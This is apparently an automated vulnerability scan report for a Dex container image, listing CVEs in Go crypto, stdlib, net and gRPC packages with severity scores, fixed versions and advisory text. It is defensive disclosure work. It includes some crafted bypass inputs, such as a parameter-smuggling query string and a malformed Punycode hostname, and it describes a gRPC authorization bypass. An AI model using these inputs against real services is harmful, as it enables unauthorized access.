     golang.org/x/crypto 0.47.0 (golang)
pkg:golang/golang.org/x/crypto@0.47.0
# dex-release.dockerfile (81:81)
COPY --from=gomplate-builder /go/bin/gomplate /usr/local/bin/gomplate
 Incorrect Implementation of Authentication Algorithm
| Affected range | <0.52.0 | | Fixed version | 0.52.0 | | CVSS Score | 10 | | CVSS Vector | CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:L | | EPSS Score | 0.440% | | EPSS Percentile | 36th percentile |
Description
Previously, CVE-2024-45337 fixed an authorization bypass for misused ssh server configurations; if any other type of callback is passed other than public key, then the source-address validation would be skipped.
 Improper Certificate Validation
| Affected range | <0.52.0 | | Fixed version | 0.52.0 | | CVSS Score | 9.1 | | CVSS Vector | CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N | | EPSS Score | 0.487% | | EPSS Percentile | 39th percentile |
Description
Previously, a revoked 'SignatureKey' belonging to a CA was not correctly checked for revocation. Now, both the 'key' and 'key.SignatureKey' are checked for @revoked.
 Integer Overflow or Wraparound
| Affected range | <0.52.0 | | Fixed version | 0.52.0 | | CVSS Score | 9.1 | | CVSS Vector | CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:H | | EPSS Score | 0.466% | | EPSS Percentile | 38th percentile |
Description
When writing data larger than 4GB in a single Write call on an SSH channel, an integer overflow in the internal payload size calculation caused the write loop to spin indefinitely, sending empty packets without making progress. The size comparison now uses int64 to prevent truncation.
 Missing Authorization
| Affected range | <0.52.0 | | Fixed version | 0.52.0 | | CVSS Score | 9.1 | | CVSS Vector | CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N | | EPSS Score | 0.360% | | EPSS Percentile | 29th percentile |
Description
The in-memory keyring returned by NewKeyring() silently accepted keys with the ConfirmBeforeUse constraint but never enforced it. The key would sign without any confirmation prompt, with no indication to the caller that the constraint was not in effect. NewKeyring() now returns an error when unsupported constraints are requested.
 Improper Preservation of Permissions
| Affected range | <0.52.0 | | Fixed version | 0.52.0 | | CVSS Score | 9.1 | | CVSS Vector | CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N | | EPSS Score | 0.525% | | EPSS Percentile | 41st percentile |
Description
When adding a key to a remote agent constraint extensions such as restrict-destination-v00@openssh.com were not serialized in the request. Destination restrictions were silently stripped when forwarding keys, allowing unrestricted use of the key on the remote host. The client now serializes all constraint extensions. Additionally, the in-memory keyring returned by NewKeyring() now rejects keys with unsupported constraint extensions instead of silently ignoring them.
 Missing Authorization
| Affected range | <0.52.0 | | Fixed version | 0.52.0 | | CVSS Score | 9.1 | | CVSS Vector | CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N | | EPSS Score | 0.373% | | EPSS Percentile | 30th percentile |
Description
The Verify() method for FIDO/U2F security key types (sk-ecdsa-sha2-nistp256@openssh.com, sk-ssh-ed25519@openssh.com) did not check the User Presence flag. Signatures generated without physical touch were accepted, allowing unattended use of a hardware security key. To restore the previous behavior, return a "no-touch-required" extension in Permissions.Extensions from PublicKeyCallback.
 Improper Restriction of Operations within the Bounds of a Memory Buffer
| Affected range | <0.52.0 | | Fixed version | 0.52.0 | | CVSS Score | 9.1 | | CVSS Vector | CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:H | | EPSS Score | 0.533% | | EPSS Percentile | 42nd percentile |
Description
A malicious SSH peer could send unsolicited global request responses to fill an internal buffer, blocking the connection's read loop. The blocked goroutine could not be released by calling Close(), resulting in a resource leak per connection. Unsolicited global responses are now discarded.
 Incorrect Type Conversion or Cast
| Affected range | <0.52.0 | | Fixed version | 0.52.0 | | CVSS Score | 7.5 | | CVSS Vector | CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H | | EPSS Score | 0.359% | | EPSS Percentile | 28th percentile |
Description
An incorrectly placed cast from bytes to int allowed for server-side panic in the AES-GCM packet decoder for well-crafted inputs.
 Improper Validation of Specified Quantity in Input
| Affected range | <0.52.0 | | Fixed version | 0.52.0 | | CVSS Score | 7.5 | | CVSS Vector | CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H | | EPSS Score | 0.415% | | EPSS Percentile | 34th percentile |
Description
The RSA and DSA public key parsers did not enforce size limits on key parameters. A crafted public key with an excessively large modulus or DSA parameter could cause several minutes of CPU consumption during signature verification. This could be triggered by unauthenticated clients during public key authentication. RSA moduli are now limited to 8192 bits, and DSA parameters are validated per FIPS 186-2.
 Improper Enforcement of Message Integrity During Transmission in a Communication Channel
| Affected range | <0.52.0 | | Fixed version | 0.52.0 | | CVSS Score | 6.5 | | CVSS Vector | CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H | | EPSS Score | 0.196% | | EPSS Percentile | 10th percentile |
Description
An authenticated SSH client that repeatedly opened channels which were rejected by the server caused unbounded memory growth, eventually crashing the server process and affecting all connected users. Rejected channels are now properly removed from the connection's internal state and released for garbage collection.
 Improper Preservation of Permissions
| Affected range | <0.52.0 | | Fixed version | 0.52.0 | | CVSS Score | 6.3 | | CVSS Vector | CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:L | | EPSS Score | 0.314% | | EPSS Percentile | 24th percentile |
Description
When an SSH server authentication callback returned PartialSuccessError with non-nil Permissions, those permissions were silently discarded, potentially dropping certificate restrictions such as force-command after a second factor succeeded. Returning non-nil Permissions with PartialSuccessError now results in a connection error.
 Improper Validation of Array Index
| Affected range | <0.52.0 | | Fixed version | 0.52.0 | | CVSS Score | 5.3 | | CVSS Vector | CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L | | EPSS Score | 0.313% | | EPSS Percentile | 24th percentile |
Description
For certain crafted inputs, a 'ed25519.PrivateKey' was created by casting malformed wire bytes, leading to a panic when used.
 Improper Certificate Validation
| Affected range | <0.52.0 | | Fixed version | 0.52.0 | | CVSS Score | 5.3 | | CVSS Vector | CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L | | EPSS Score | 0.394% | | EPSS Percentile | 32nd percentile |
Description
SSH servers which use CertChecker as a public key callback without setting IsUserAuthority or IsHostAuthority could be caused to panic by a client presenting a certificate. CertChecker now returns an error instead of panicking when these callbacks are nil.
| Affected range | >=0 | | Fixed version | Not Fixed |
Description
The golang.org/x/crypto/openpgp package is unsafe by design, has numerous known security issues, is not maintained, and should not be used.
If you are required to interoperate with OpenPGP systems and need a maintained package, consider github.com/ProtonMail/go-crypto/openpgp which is a maintained fork that aims to be a drop-in replacement for this package.
|
golang.org/x/crypto 0.48.0 (golang)
pkg:golang/golang.org/x/crypto@0.48.0
# dex-release.dockerfile (79:79)
COPY --from=builder /go/bin/dex /usr/local/bin/dex
Incorrect Implementation of Authentication Algorithm
| Affected range | <0.52.0 | | Fixed version | 0.52.0 | | CVSS Score | 10 | | CVSS Vector | CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:L | | EPSS Score | 0.440% | | EPSS Percentile | 36th percentile |
Description
Previously, CVE-2024-45337 fixed an authorization bypass for misused ssh server configurations; if any other type of callback is passed other than public key, then the source-address validation would be skipped.
Improper Certificate Validation
| Affected range | <0.52.0 | | Fixed version | 0.52.0 | | CVSS Score | 9.1 | | CVSS Vector | CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N | | EPSS Score | 0.487% | | EPSS Percentile | 39th percentile |
Description
Previously, a revoked 'SignatureKey' belonging to a CA was not correctly checked for revocation. Now, both the 'key' and 'key.SignatureKey' are checked for @revoked.
Integer Overflow or Wraparound
| Affected range | <0.52.0 | | Fixed version | 0.52.0 | | CVSS Score | 9.1 | | CVSS Vector | CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:H | | EPSS Score | 0.466% | | EPSS Percentile | 38th percentile |
Description
When writing data larger than 4GB in a single Write call on an SSH channel, an integer overflow in the internal payload size calculation caused the write loop to spin indefinitely, sending empty packets without making progress. The size comparison now uses int64 to prevent truncation.
Missing Authorization
| Affected range | <0.52.0 | | Fixed version | 0.52.0 | | CVSS Score | 9.1 | | CVSS Vector | CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N | | EPSS Score | 0.360% | | EPSS Percentile | 29th percentile |
Description
The in-memory keyring returned by NewKeyring() silently accepted keys with the ConfirmBeforeUse constraint but never enforced it. The key would sign without any confirmation prompt, with no indication to the caller that the constraint was not in effect. NewKeyring() now returns an error when unsupported constraints are requested.
Improper Preservation of Permissions
| Affected range | <0.52.0 | | Fixed version | 0.52.0 | | CVSS Score | 9.1 | | CVSS Vector | CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N | | EPSS Score | 0.525% | | EPSS Percentile | 41st percentile |
Description
When adding a key to a remote agent constraint extensions such as restrict-destination-v00@openssh.com were not serialized in the request. Destination restrictions were silently stripped when forwarding keys, allowing unrestricted use of the key on the remote host. The client now serializes all constraint extensions. Additionally, the in-memory keyring returned by NewKeyring() now rejects keys with unsupported constraint extensions instead of silently ignoring them.
Missing Authorization
| Affected range | <0.52.0 | | Fixed version | 0.52.0 | | CVSS Score | 9.1 | | CVSS Vector | CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N | | EPSS Score | 0.373% | | EPSS Percentile | 30th percentile |
Description
The Verify() method for FIDO/U2F security key types (sk-ecdsa-sha2-nistp256@openssh.com, sk-ssh-ed25519@openssh.com) did not check the User Presence flag. Signatures generated without physical touch were accepted, allowing unattended use of a hardware security key. To restore the previous behavior, return a "no-touch-required" extension in Permissions.Extensions from PublicKeyCallback.
Improper Restriction of Operations within the Bounds of a Memory Buffer
| Affected range | <0.52.0 | | Fixed version | 0.52.0 | | CVSS Score | 9.1 | | CVSS Vector | CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:H | | EPSS Score | 0.533% | | EPSS Percentile | 42nd percentile |
Description
A malicious SSH peer could send unsolicited global request responses to fill an internal buffer, blocking the connection's read loop. The blocked goroutine could not be released by calling Close(), resulting in a resource leak per connection. Unsolicited global responses are now discarded.
Incorrect Type Conversion or Cast
| Affected range | <0.52.0 | | Fixed version | 0.52.0 | | CVSS Score | 7.5 | | CVSS Vector | CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H | | EPSS Score | 0.359% | | EPSS Percentile | 28th percentile |
Description
An incorrectly placed cast from bytes to int allowed for server-side panic in the AES-GCM packet decoder for well-crafted inputs.
Improper Validation of Specified Quantity in Input
| Affected range | <0.52.0 | | Fixed version | 0.52.0 | | CVSS Score | 7.5 | | CVSS Vector | CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H | | EPSS Score | 0.415% | | EPSS Percentile | 34th percentile |
Description
The RSA and DSA public key parsers did not enforce size limits on key parameters. A crafted public key with an excessively large modulus or DSA parameter could cause several minutes of CPU consumption during signature verification. This could be triggered by unauthenticated clients during public key authentication. RSA moduli are now limited to 8192 bits, and DSA parameters are validated per FIPS 186-2.
Improper Enforcement of Message Integrity During Transmission in a Communication Channel
| Affected range | <0.52.0 | | Fixed version | 0.52.0 | | CVSS Score | 6.5 | | CVSS Vector | CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H | | EPSS Score | 0.196% | | EPSS Percentile | 10th percentile |
Description
An authenticated SSH client that repeatedly opened channels which were rejected by the server caused unbounded memory growth, eventually crashing the server process and affecting all connected users. Rejected channels are now properly removed from the connection's internal state and released for garbage collection.
Improper Preservation of Permissions
| Affected range | <0.52.0 | | Fixed version | 0.52.0 | | CVSS Score | 6.3 | | CVSS Vector | CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:L | | EPSS Score | 0.314% | | EPSS Percentile | 24th percentile |
Description
When an SSH server authentication callback returned PartialSuccessError with non-nil Permissions, those permissions were silently discarded, potentially dropping certificate restrictions such as force-command after a second factor succeeded. Returning non-nil Permissions with PartialSuccessError now results in a connection error.
Improper Validation of Array Index
| Affected range | <0.52.0 | | Fixed version | 0.52.0 | | CVSS Score | 5.3 | | CVSS Vector | CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L | | EPSS Score | 0.313% | | EPSS Percentile | 24th percentile |
Description
For certain crafted inputs, a 'ed25519.PrivateKey' was created by casting malformed wire bytes, leading to a panic when used.
Improper Certificate Validation
| Affected range | <0.52.0 | | Fixed version | 0.52.0 | | CVSS Score | 5.3 | | CVSS Vector | CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L | | EPSS Score | 0.394% | | EPSS Percentile | 32nd percentile |
Description
SSH servers which use CertChecker as a public key callback without setting IsUserAuthority or IsHostAuthority could be caused to panic by a client presenting a certificate. CertChecker now returns an error instead of panicking when these callbacks are nil.
| Affected range | >=0 | | Fixed version | Not Fixed |
Description
The golang.org/x/crypto/openpgp package is unsafe by design, has numerous known security issues, is not maintained, and should not be used.
If you are required to interoperate with OpenPGP systems and need a maintained package, consider github.com/ProtonMail/go-crypto/openpgp which is a maintained fork that aims to be a drop-in replacement for this package.
|
     stdlib 1.25.6 (golang)
pkg:golang/stdlib@1.25.6
# dex-release.dockerfile (68:68)
FROM dexidp/dex:${DEX_VERSION}-alpine
| Affected range | >=1.25.0-0
<1.25.7
| | Fixed version | 1.25.7 | | EPSS Score | 0.765% | | EPSS Percentile | 52nd percentile |
Description
During session resumption in crypto/tls, if the underlying Config has its ClientCAs or RootCAs fields mutated between the initial handshake and the resumed handshake, the resumed handshake may succeed when it should have failed. This may happen when a user calls Config.Clone and mutates the returned Config, or uses Config.GetConfigForClient. This can cause a client to resume a session with a server that it would not have resumed with during the initial handshake, or cause a server to resume a session with a client that it would not have resumed with during the initial handshake.
| Affected range | <1.25.11 | | Fixed version | 1.25.11 | | EPSS Score | 0.560% | | EPSS Percentile | 43rd percentile |
Description
Decoding a maliciously-crafted MIME header containing many invalid encoded-words can consume excessive CPU.
| Affected range | <1.25.10 | | Fixed version | 1.25.10 | | EPSS Score | 0.798% | | EPSS Percentile | 53rd percentile |
Description
Pathological inputs could cause DoS through consumePhrase when parsing an email address according to RFC 5322.
| Affected range | <1.25.10 | | Fixed version | 1.25.10 | | EPSS Score | 0.588% | | EPSS Percentile | 45th percentile |
Description
The Dial and LookupPort functions panic on Windows when provided with an input containing a NUL (0).
| Affected range | <1.25.10 | | Fixed version | 1.25.10 | | EPSS Score | 0.784% | | EPSS Percentile | 52nd percentile |
Description
Well-crafted inputs reaching ParseAddress, ParseAddressList, and ParseDate were able to trigger excessive CPU exhaustion and memory allocations.
| Affected range | <1.25.10 | | Fixed version | 1.25.10 | | EPSS Score | 0.781% | | EPSS Percentile | 52nd percentile |
Description
When processing HTTP/2 SETTINGS frames, transport will enter an infinite loop of writing CONTINUATION frames if it receives a SETTINGS_MAX_FRAME_SIZE with a value of 0.
| Affected range | <1.25.10 | | Fixed version | 1.25.10 | | EPSS Score | 0.813% | | EPSS Percentile | 53rd percentile |
Description
When using LookupCNAME with the cgo DNS resolver, a very long CNAME response can trigger a double-free of C memory and a crash.
| Affected range | <1.25.9 | | Fixed version | 1.25.9 | | EPSS Score | 0.621% | | EPSS Percentile | 46th percentile |
Description
If one side of the TLS connection sends multiple key update messages post-handshake in a single record, the connection can deadlock, causing uncontrolled consumption of resources. This can lead to a denial of service.
This only affects TLS 1.3.
| Affected range | <1.25.9 | | Fixed version | 1.25.9 | | EPSS Score | 0.349% | | EPSS Percentile | 27th percentile |
Description
Validating certificate chains which use policies is unexpectedly inefficient when certificates in the chain contain a very large number of policy mappings, possibly causing denial of service.
This only affects validation of otherwise trusted certificate chains, issued by a root CA in the VerifyOptions.Roots CertPool, or in the system certificate pool.
| Affected range | <1.25.9 | | Fixed version | 1.25.9 | | EPSS Score | 0.615% | | EPSS Percentile | 46th percentile |
Description
During chain building, the amount of work that is done is not correctly limited when a large number of intermediate certificates are passed in VerifyOptions.Intermediates, which can lead to a denial of service. This affects both direct users of crypto/x509 and users of crypto/tls.
| Affected range | <1.25.8 | | Fixed version | 1.25.8 | | EPSS Score | 0.728% | | EPSS Percentile | 50th percentile |
Description
url.Parse insufficiently validated the host/authority component and accepted some invalid URLs.
| Affected range | <1.25.11 | | Fixed version | 1.25.11 | | EPSS Score | 0.939% | | EPSS Percentile | 57th percentile |
Description
(*x509.Certificate).VerifyHostname previously called matchHostnames in a loop over all DNS Subject Alternative Name (SAN) entries. This caused strings.Split(host, ".") to execute repeatedly on the same input hostname.
With a large DNS SAN list, verification costs scaled quadratically based on the number of SAN entries multiplied by the hostname's label count. Because x509.Verify validates hostnames before building the certificate chain, this overhead occurred even for untrusted certificates.
| Affected range | <1.25.9 | | Fixed version | 1.25.9 | | EPSS Score | 0.292% | | EPSS Percentile | 21st percentile |
Description
On Linux, if the target of Root.Chmod is replaced with a symlink while the chmod operation is in progress, Chmod can operate on the target of the symlink, even when the target lies outside the root.
The Linux fchmodat syscall silently ignores the AT_SYMLINK_NOFOLLOW flag, which Root.Chmod uses to avoid symlink traversal. Root.Chmod checks its target before acting and returns an error if the target is a symlink lying outside the root, so the impact is limited to cases where the target is replaced with a symlink between the check and operation.
| Affected range | <1.25.10 | | Fixed version | 1.25.10 | | EPSS Score | 0.371% | | EPSS Percentile | 30th percentile |
Description
If a trusted template author were to write a
</blockquote>
</details>
<a href="https://scout.docker.com/v/CVE-2026-39823?s=golang&n=stdlib&t=golang&vr=%3C1.25.10"><img alt="medium : CVE--2026--39823" src="https://img.shields.io/badge/CVE--2026--39823-lightgrey?label=medium%20&labelColor=fbb552"/></a>
| Affected range | <1.25.10 | | Fixed version | 1.25.10 | | EPSS Score | 0.314% | | EPSS Percentile | 24th percentile |
Description
CVE-2026-27142 fixed a vulnerability in which URLs were not correctly escaped inside of a tag's attribute. If the URL content were to insert ASCII whitespaces around the '=' rune inside of the attribute, the escaper would fail to similarly escape it, leading to XSS.
| Affected range | <1.25.9 | | Fixed version | 1.25.9 | | EPSS Score | 0.290% | | EPSS Percentile | 21st percentile |
Description
Context was not properly tracked across template branches for JS template literals, leading to possibly incorrect escaping of content when branches were used. Additionally template actions within JS template literals did not properly track the brace depth, leading to incorrect escaping being applied.
These issues could cause actions within JS template literals to be incorrectly or improperly escaped, leading to XSS vulnerabilities.
| Affected range | <1.25.8 | | Fixed version | 1.25.8 | | EPSS Score | 0.328% | | EPSS Percentile | 25th percentile |
Description
Actions which insert URLs into the content attribute of HTML meta tags are not escaped. This can allow XSS if the meta tag also has an http-equiv attribute with the value "refresh".
A new GODEBUG setting has been added, htmlmetacontenturlescape, which can be used to disable escaping URLs in actions in the meta content attribute which follow "url=" by setting htmlmetacontenturlescape=0.
| Affected range | <1.25.9 | | Fixed version | 1.25.9 | | EPSS Score | 0.290% | | EPSS Percentile | 21st percentile |
Description
tar.Reader can allocate an unbounded amount of memory when reading a maliciously-crafted archive containing a large number of sparse regions encoded in the "old GNU sparse map" format.
| Affected range | <1.25.11 | | Fixed version | 1.25.11 | | EPSS Score | 0.370% | | EPSS Percentile | 30th percentile |
Description
When returning errors, functions in the net/textproto package would include its input as part of the error. This might allow an attacker to inject misleading content to errors that are printed or logged.
| Affected range | <1.25.10 | | Fixed version | 1.25.10 | | EPSS Score | 0.390% | | EPSS Percentile | 32nd percentile |
Description
ReverseProxy can forward queries containing parameters not visible to Rewrite functions.
When used with a Rewrite function, or a Director function which parses query parameters, ReverseProxy sanitizes the forwarded request to remove query parameters which are not parsed by url.ParseQuery. ReverseProxy does not take ParseQuery's limit on the total number of query parameters (controlled by GODEBUG=urlmaxqueryparams=N) into account. This can permit ReverseProxy to forward a request containing a query parameter that is not visible to the Rewrite function.
For example, the query "a1=x&a2=x&...&a10000=x&hidden=y" can forward the parameter "hidden=y" while hiding it from the proxy's Rewrite function.
| Affected range | <1.25.8 | | Fixed version | 1.25.8 | | EPSS Score | 0.201% | | EPSS Percentile | 10th percentile |
Description
On Unix platforms, when listing the contents of a directory using File.ReadDir or File.Readdir the returned FileInfo could reference a file outside of the Root in which the File was opened.
The impact of this escape is limited to reading metadata provided by lstat from arbitrary locations on the filesystem without permitting reading or writing files outside the root.
| Affected range | <1.25.12 | | Fixed version | 1.25.12 | | EPSS Score | 0.413% | | EPSS Percentile | 34th percentile |
Description
Handshakes which used Encrypted Client Hello could be de-anonymized by a passive network observer due to a disclosure of pre-shared key identities in the unencrypted client hello.
| Affected range | <1.25.12 | | Fixed version | 1.25.12 | | EPSS Score | 0.183% | | EPSS Percentile | 8th percentile |
Description
On Unix systems, opening a file in an os.Root improperly follows symlinks to locations outside of the Root when the final path component of the a path is a symbolic link and the path ends in /.
For example, 'root.Open("symlink/")' will open "symlink" even when "symlink" is a symbolic link pointing outside of the root.
|
 golang.org/x/net 0.50.0 (golang)
pkg:golang/golang.org/x/net@0.50.0
# dex-release.dockerfile (79:79)
COPY --from=builder /go/bin/dex /usr/local/bin/dex
| Affected range | <0.55.0 | | Fixed version | 0.55.0 | | EPSS Score | 0.478% | | EPSS Percentile | 38th percentile |
Description
The ToASCII and ToUnicode functions incorrectly accept Punycode-encoded labels that decode to an ASCII-only label. For example, ToUnicode("xn--example-.com") incorrectly returns the name "example.com" rather than an error.
This behavior can lead to privilege escalation in programs using the idna package. For example, a program which performs privilege checks on the ASCII hostname may reject "example.com" but permit "xn--example-.com". If that program subsequently converts the ASCII hostname to Unicode, it will inadvertently permits access to the Unicode name "example.com".
| Affected range | <0.53.0 | | Fixed version | 0.53.0 | | EPSS Score | 0.781% | | EPSS Percentile | 52nd percentile |
Description
When processing HTTP/2 SETTINGS frames, transport will enter an infinite loop of writing CONTINUATION frames if it receives a SETTINGS_MAX_FRAME_SIZE with a value of 0.
| Affected range | >=0.50.0
<0.51.0
| | Fixed version | 0.51.0 | | EPSS Score | 0.501% | | EPSS Percentile | 40th percentile |
Description
Due to missing nil check, sending 0x0a-0x0f HTTP/2 frames will cause a running server to panic
 Uncontrolled Resource Consumption
| Affected range | <0.55.0 | | Fixed version | 0.55.0 | | CVSS Score | 6.5 | | CVSS Vector | CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H | | EPSS Score | 0.248% | | EPSS Percentile | 16th percentile |
Description
In Go Net (golang.org/x/net) before verion 0.55.0, parsing arbitrary HTML can consume excessive CPU time, possibly leading to denial of service.
| Affected range | <0.55.0 | | Fixed version | 0.55.0 | | EPSS Score | 0.188% | | EPSS Percentile | 9th percentile |
Description
Parsing arbitrary HTML which is then rendered using Render can result in an unexpected HTML tree. This can be leveraged to execute XSS attacks in applications that attempt to sanitize input HTML before rendering.
| Affected range | <0.55.0 | | Fixed version | 0.55.0 | | EPSS Score | 0.178% | | EPSS Percentile | 8th percentile |
Description
Parsing arbitrary HTML which is then rendered using Render can result in an unexpected HTML tree. This can be leveraged to execute XSS attacks in applications that attempt to sanitize input HTML before rendering.
| Affected range | <0.55.0 | | Fixed version | 0.55.0 | | EPSS Score | 0.178% | | EPSS Percentile | 8th percentile |
Description
Parsing arbitrary HTML which is then rendered using Render can result in an unexpected HTML tree. This can be leveraged to execute XSS attacks in applications that attempt to sanitize input HTML before rendering.
| Affected range | <0.55.0 | | Fixed version | 0.55.0 | | EPSS Score | 0.178% | | EPSS Percentile | 8th percentile |
Description
Parsing arbitrary HTML which is then rendered using Render can result in an unexpected HTML tree. This can be leveraged to execute XSS attacks in applications that attempt to sanitize input HTML before rendering.
| Affected range | <0.56.0 | | Fixed version | 0.56.0 | | EPSS Score | 0.155% | | EPSS Percentile | 5th percentile |
Description
Parsing an invalid SVCB or HTTPS RR can panic when the size of a parameter value overflows the message buffer.
|
 golang.org/x/net 0.48.0 (golang)
pkg:golang/golang.org/x/net@0.48.0
# dex-release.dockerfile (81:81)
COPY --from=gomplate-builder /go/bin/gomplate /usr/local/bin/gomplate
| Affected range | <0.55.0 | | Fixed version | 0.55.0 | | EPSS Score | 0.478% | | EPSS Percentile | 38th percentile |
Description
The ToASCII and ToUnicode functions incorrectly accept Punycode-encoded labels that decode to an ASCII-only label. For example, ToUnicode("xn--example-.com") incorrectly returns the name "example.com" rather than an error.
This behavior can lead to privilege escalation in programs using the idna package. For example, a program which performs privilege checks on the ASCII hostname may reject "example.com" but permit "xn--example-.com". If that program subsequently converts the ASCII hostname to Unicode, it will inadvertently permits access to the Unicode name "example.com".
| Affected range | <0.53.0 | | Fixed version | 0.53.0 | | EPSS Score | 0.781% | | EPSS Percentile | 52nd percentile |
Description
When processing HTTP/2 SETTINGS frames, transport will enter an infinite loop of writing CONTINUATION frames if it receives a SETTINGS_MAX_FRAME_SIZE with a value of 0.
Uncontrolled Resource Consumption
| Affected range | <0.55.0 | | Fixed version | 0.55.0 | | CVSS Score | 6.5 | | CVSS Vector | CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H | | EPSS Score | 0.248% | | EPSS Percentile | 16th percentile |
Description
In Go Net (golang.org/x/net) before verion 0.55.0, parsing arbitrary HTML can consume excessive CPU time, possibly leading to denial of service.
| Affected range | <0.55.0 | | Fixed version | 0.55.0 | | EPSS Score | 0.188% | | EPSS Percentile | 9th percentile |
Description
Parsing arbitrary HTML which is then rendered using Render can result in an unexpected HTML tree. This can be leveraged to execute XSS attacks in applications that attempt to sanitize input HTML before rendering.
| Affected range | <0.55.0 | | Fixed version | 0.55.0 | | EPSS Score | 0.178% | | EPSS Percentile | 8th percentile |
Description
Parsing arbitrary HTML which is then rendered using Render can result in an unexpected HTML tree. This can be leveraged to execute XSS attacks in applications that attempt to sanitize input HTML before rendering.
| Affected range | <0.55.0 | | Fixed version | 0.55.0 | | EPSS Score | 0.178% | | EPSS Percentile | 8th percentile |
Description
Parsing arbitrary HTML which is then rendered using Render can result in an unexpected HTML tree. This can be leveraged to execute XSS attacks in applications that attempt to sanitize input HTML before rendering.
| Affected range | <0.55.0 | | Fixed version | 0.55.0 | | EPSS Score | 0.178% | | EPSS Percentile | 8th percentile |
Description
Parsing arbitrary HTML which is then rendered using Render can result in an unexpected HTML tree. This can be leveraged to execute XSS attacks in applications that attempt to sanitize input HTML before rendering.
| Affected range | <0.56.0 | | Fixed version | 0.56.0 | | EPSS Score | 0.155% | | EPSS Percentile | 5th percentile |
Description
Parsing an invalid SVCB or HTTPS RR can panic when the size of a parameter value overflows the message buffer.
|
 google.golang.org/grpc 1.77.0 (golang)
pkg:golang/google.golang.org/grpc@1.77.0
# dex-release.dockerfile (68:68)
FROM dexidp/dex:${DEX_VERSION}-alpine
 Improper Authorization
| Affected range | <1.79.3 | | Fixed version | 1.79.3 | | CVSS Score | 9.1 | | CVSS Vector | CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N | | EPSS Score | 1.557% | | EPSS Percentile | 73rd percentile |
Description
Impact
What kind of vulnerability is it? Who is impacted?
It is an Authorization Bypass resulting from Improper Input Validation of the HTTP/2 :path pseudo-header.
The gRPC-Go server was too lenient in its routing logic, accepting requests where the :path omitted the mandatory leading slash (e.g., Service/Method instead of /Service/Method). While the server successfully routed these requests to the correct handler, authorization interceptors (including the official grpc/authz package) evaluated the raw, non-canonical path string. Consequently, "deny" rules defined using canonical paths (starting with /) failed to match the incoming request, allowing it to bypass the policy if a fallback "allow" rule was present.
Who is impacted?
This affects gRPC-Go servers that meet both of the following criteria:
- They use path-based authorization interceptors, such as the official RBAC implementation in
google.golang.org/grpc/authz or custom interceptors relying on info.FullMethod or grpc.Method(ctx).
- Their security policy contains specific "deny" rules for canonical paths but allows other requests by default (a fallback "allow" rule).
The vulnerability is exploitable by an attacker who can send raw HTTP/2 frames with malformed :path headers directly to the gRPC server.
Patches
Has the problem been patched? What versions should users upgrade to?
Yes, the issue has been patched. The fix ensures that any request with a :path that does not start with a leading slash is immediately rejected with a codes.Unimplemented error, preventing it from reaching authorization interceptors or handlers with a non-canonical path string.
Users should upgrade to the following versions (or newer):
- v1.79.3
- The latest master branch.
It is recommended that all users employing path-based authorization (especially grpc/authz) upgrade as soon as the patch is available in a tagged release.
Workarounds
Is there a way for users to fix or remediate the vulnerability without upgrading?
While upgrading is the most secure and recommended path, users can mitigate the vulnerability using one of the following methods:
1. Use a Validating Interceptor (Recommended Mitigation)
Add an "outermost" interceptor to your server that validates the path before any other authorization logic runs:
func pathValidationInterceptor(ctx context.Context, req any, info *grpc.UnaryServerInfo, handler grpc.UnaryHandler) (any, error) {
if info.FullMethod == "" || info.FullMethod[0] != '/' {
return nil, status.Errorf(codes.Unimplemented, "malformed method name")
}
return handler(ctx, req)
}
s := grpc.NewServer(
grpc.ChainUnaryInterceptor(pathValidationInterceptor, authzInterceptor),
)
2. Infrastructure-Level Normalization
If your gRPC server is behind a reverse proxy or load balancer (such as Envoy, NGINX, or an L7 Cloud Load Balancer), ensure it is configured to enforce strict HTTP/2 compliance for pseudo-headers and reject or normalize requests where the :path header does not start with a leading slash.
3. Policy Hardening
Switch to a "default deny" posture in your authorization policies (explicitly listing all allowed paths and denying everything else) to reduce the risk of bypasses via malformed inputs.
 Uncaught Exception
| Affected range | <1.82.1 | | Fixed version | 1.82.1 | | CVSS Score | 8.8 | | CVSS Vector | CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:H/VA:H/SC:N/SI:N/SA:N |
Description
